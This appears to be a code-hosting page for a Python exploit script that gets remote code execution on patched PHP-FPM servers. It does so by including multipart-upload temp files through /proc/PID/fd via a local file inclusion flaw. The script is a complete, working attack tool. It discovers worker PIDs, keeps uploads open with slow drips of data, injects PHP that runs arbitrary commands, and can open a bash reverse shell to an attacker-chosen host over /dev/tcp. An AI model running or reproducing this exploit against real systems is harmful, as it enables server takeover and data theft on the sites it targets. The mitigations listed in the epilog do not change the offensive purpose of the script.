Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
364 lines
13 KiB
Python
Executable File
364 lines
13 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""
|
|
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
|
|
|
|
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
|
|
including the security patch AND session.upload_progress.enabled=0.
|
|
|
|
It does NOT use session poisoning at all. Instead, it exploits the fact that
|
|
during a multipart file upload, PHP creates a temporary file whose contents
|
|
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
|
|
process that can read procfs (i.e., any PHP process on the same host).
|
|
|
|
Attack flow:
|
|
1. Send a multipart POST with a file upload containing PHP code
|
|
2. While the upload is in progress (slow drip), the temp file exists as an
|
|
open file descriptor on the receiving FPM worker
|
|
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
|
|
or brute-forced from a narrow PID range)
|
|
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
|
|
5. PHP interprets the temp file contents → RCE
|
|
|
|
Why this bypasses everything:
|
|
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
|
|
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
|
|
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
|
|
- Standard multipart upload → WAF rules need to block ALL file uploads
|
|
|
|
Limitations:
|
|
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
|
|
- Requires knowing or brute-forcing the target worker's PID
|
|
- Requires multiple FPM workers (upload worker != LFI worker)
|
|
- FD number is typically 4-7 but may vary
|
|
|
|
Real-world PID discovery:
|
|
- phpinfo() page (common on staging/dev servers)
|
|
- Application leaking PID in response (getmypid())
|
|
- PHP error messages may include PID
|
|
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
|
|
- Container PID namespaces have small PID ranges (often 1-100)
|
|
|
|
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
|
|
|
|
Usage:
|
|
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
|
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
|
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
"""
|
|
|
|
import argparse
|
|
import base64
|
|
import os
|
|
import re
|
|
import socket
|
|
import sys
|
|
import threading
|
|
import time
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
def tcp_connect(host, port, tls, timeout=60):
|
|
sock = socket.create_connection((host, port), timeout=timeout)
|
|
if tls:
|
|
import ssl
|
|
ctx = ssl.create_default_context()
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
return sock
|
|
|
|
|
|
def recv_all(sock, timeout=5):
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
return resp
|
|
|
|
|
|
def body_of(resp):
|
|
if b"\r\n\r\n" in resp:
|
|
return resp.split(b"\r\n\r\n", 1)[1]
|
|
return resp
|
|
|
|
|
|
def discover_pids(host, port, tls, path, count=20):
|
|
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
|
|
pids = set()
|
|
for _ in range(count):
|
|
try:
|
|
sock = tcp_connect(host, port, tls, timeout=10)
|
|
sock.sendall(
|
|
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
|
b"Host: " + host.encode() + b"\r\n"
|
|
b"Connection: close\r\n\r\n"
|
|
)
|
|
resp = recv_all(sock, timeout=3)
|
|
sock.close()
|
|
body = body_of(resp)
|
|
m = re.search(rb"pid=(\d+)", body)
|
|
if m:
|
|
pids.add(int(m.group(1)))
|
|
except Exception:
|
|
continue
|
|
return sorted(pids)
|
|
|
|
|
|
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
|
|
"""Send slow multipart upload to keep temp file FD open."""
|
|
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
|
|
|
|
head = (
|
|
b"--" + bnd + b"\r\n"
|
|
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
|
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
+ php_code + b"\n"
|
|
)
|
|
file_size = 4 * 1024 * 1024
|
|
tail = b"\r\n--" + bnd + b"--\r\n"
|
|
total = len(head) + file_size + len(tail)
|
|
|
|
try:
|
|
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
|
sock.sendall(
|
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
b"Host: " + host.encode() + b"\r\n"
|
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
b"Content-Length: " + str(total).encode() + b"\r\n"
|
|
b"Connection: close\r\n\r\n"
|
|
+ head
|
|
)
|
|
if started:
|
|
started.set()
|
|
|
|
sent = 0
|
|
t0 = time.time()
|
|
while sent < file_size and (time.time() - t0) < duration:
|
|
if done and done.is_set():
|
|
break
|
|
sock.sendall(b"\x00" * 4096)
|
|
sent += 4096
|
|
time.sleep(0.04)
|
|
sock.sendall(tail)
|
|
except Exception:
|
|
pass
|
|
|
|
try:
|
|
recv_all(sock, timeout=2)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
sock.close()
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
|
|
"""Send LFI request targeting a /proc path."""
|
|
lfi_url = f"{path}?{lfi_param}={proc_path}"
|
|
try:
|
|
sock = tcp_connect(host, port, tls, timeout=10)
|
|
sock.sendall(
|
|
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
|
b"Host: " + host.encode() + b"\r\n"
|
|
b"Connection: close\r\n\r\n"
|
|
)
|
|
resp = recv_all(sock, timeout=5)
|
|
sock.close()
|
|
return body_of(resp)
|
|
except Exception:
|
|
return b""
|
|
|
|
|
|
def run(args):
|
|
p = urlparse(args.target)
|
|
tls = p.scheme == "https"
|
|
host = p.hostname or "127.0.0.1"
|
|
port = p.port or (443 if tls else 80)
|
|
path = p.path or "/"
|
|
|
|
if args.trigger_only:
|
|
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
|
elif args.cmd:
|
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
|
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
|
elif args.lhost and args.lport:
|
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
|
else:
|
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
|
sys.exit(1)
|
|
|
|
print("=" * 65)
|
|
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
|
|
print(" Bypasses patch + upload_progress=0 + session cleanup")
|
|
print("=" * 65)
|
|
print(f" Target : {args.target}")
|
|
print(f" LFI param : {args.lfi_param}")
|
|
if args.cmd:
|
|
print(f" Command : {args.cmd}")
|
|
elif args.lhost:
|
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
|
print()
|
|
|
|
# Discover worker PIDs
|
|
if args.pid:
|
|
pids = [args.pid]
|
|
print(f"[*] Using specified PID: {args.pid}")
|
|
else:
|
|
print("[*] Discovering FPM worker PIDs...")
|
|
pids = discover_pids(host, port, tls, path, count=30)
|
|
if not pids:
|
|
print("[!] Could not discover PIDs (target may not echo pid)")
|
|
print(" Try --pid <pid> or --pid-range <start>-<end>")
|
|
if args.pid_range:
|
|
start, end = map(int, args.pid_range.split("-"))
|
|
pids = list(range(start, end + 1))
|
|
print(f" Using PID range: {start}-{end}")
|
|
else:
|
|
sys.exit(1)
|
|
else:
|
|
print(f" Found PIDs: {pids}")
|
|
print()
|
|
|
|
fd_range = range(args.fd_start, args.fd_end + 1)
|
|
|
|
for attempt in range(args.attempts):
|
|
print(f"[*] Attempt {attempt+1}/{args.attempts}")
|
|
|
|
started = threading.Event()
|
|
done = threading.Event()
|
|
|
|
# Launch slow uploads on multiple threads to occupy workers
|
|
threads = []
|
|
for i in range(args.upload_threads):
|
|
t = threading.Thread(
|
|
target=slow_upload,
|
|
args=(host, port, tls, path, php_code, 15.0,
|
|
started if i == 0 else None, done),
|
|
daemon=True,
|
|
)
|
|
t.start()
|
|
threads.append(t)
|
|
|
|
started.wait(timeout=5)
|
|
time.sleep(0.5)
|
|
print(f" {args.upload_threads} slow uploads in progress")
|
|
|
|
hit = False
|
|
for probe_round in range(args.probes):
|
|
if hit:
|
|
break
|
|
for pid in pids:
|
|
if hit:
|
|
break
|
|
for fd in fd_range:
|
|
proc_path = f"/proc/{pid}/fd/{fd}"
|
|
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
|
|
|
|
if b"CVE2026:" in rbody:
|
|
text = rbody.decode(errors="replace")
|
|
if args.trigger_only:
|
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
|
print(f"\n[+] Code execution confirmed!")
|
|
if m:
|
|
print(f" {m.group(1)}")
|
|
elif args.cmd:
|
|
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
|
result = m.group(1).strip() if m else text[:500]
|
|
print()
|
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
print(result)
|
|
print("[+] ══════════════════════════════════════════")
|
|
else:
|
|
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
|
|
|
print()
|
|
print(f"[+] Via: {proc_path}")
|
|
print("[+] RCE achieved WITHOUT session poisoning!")
|
|
print("[+] Bypasses: security patch, upload_progress=0,")
|
|
print("[+] session cleanup, WAF session rules")
|
|
print("[+] Only mitigation: disable file uploads entirely,")
|
|
print("[+] mount /proc with hidepid=2, or fix the LFI")
|
|
hit = True
|
|
break
|
|
|
|
if not hit and probe_round < args.probes - 1:
|
|
time.sleep(0.01)
|
|
|
|
done.set()
|
|
for t in threads:
|
|
t.join(timeout=3)
|
|
|
|
if hit:
|
|
return
|
|
print(f" No hit — upload may have finished or wrong PID/FD range")
|
|
|
|
print()
|
|
print("[!] All attempts failed.")
|
|
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
|
|
print(" Or: --upload-threads 3 --probes 200")
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser(
|
|
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""
|
|
This exploit does NOT use session poisoning. It includes the PHP temp file
|
|
created during a multipart upload via /proc/<pid>/fd/<N>.
|
|
|
|
It bypasses ALL recommended mitigations:
|
|
- PHP 8.4.27 security patch
|
|
- session.upload_progress.enabled=0
|
|
- session.upload_progress.cleanup=1
|
|
- WAF rules blocking session-related headers
|
|
|
|
The only defenses are:
|
|
- Fix the LFI vulnerability
|
|
- Mount /proc with hidepid=2 (hides other processes' FDs)
|
|
- Disable file uploads entirely (not practical for most apps)
|
|
- Use open_basedir to restrict /proc access
|
|
|
|
Examples:
|
|
%(prog)s -t http://target/app.php --cmd 'id'
|
|
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
|
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
|
|
""")
|
|
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
|
ap.add_argument("--cmd", help="Command to execute")
|
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
ap.add_argument("--trigger-only", action="store_true",
|
|
help="Confirm vulnerability only")
|
|
ap.add_argument("--lfi-param", default="page",
|
|
help="LFI query parameter (default: page)")
|
|
ap.add_argument("--pid", type=int,
|
|
help="Known target worker PID")
|
|
ap.add_argument("--pid-range",
|
|
help="PID range to brute-force, e.g. 1-100")
|
|
ap.add_argument("--fd-start", type=int, default=3,
|
|
help="First FD to probe (default: 3)")
|
|
ap.add_argument("--fd-end", type=int, default=10,
|
|
help="Last FD to probe (default: 10)")
|
|
ap.add_argument("--upload-threads", type=int, default=2,
|
|
help="Concurrent slow uploads (default: 2)")
|
|
ap.add_argument("--probes", type=int, default=100,
|
|
help="LFI probe rounds per attempt (default: 100)")
|
|
ap.add_argument("--attempts", type=int, default=5,
|
|
help="Number of attempts (default: 5)")
|
|
args = ap.parse_args()
|
|
run(args)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|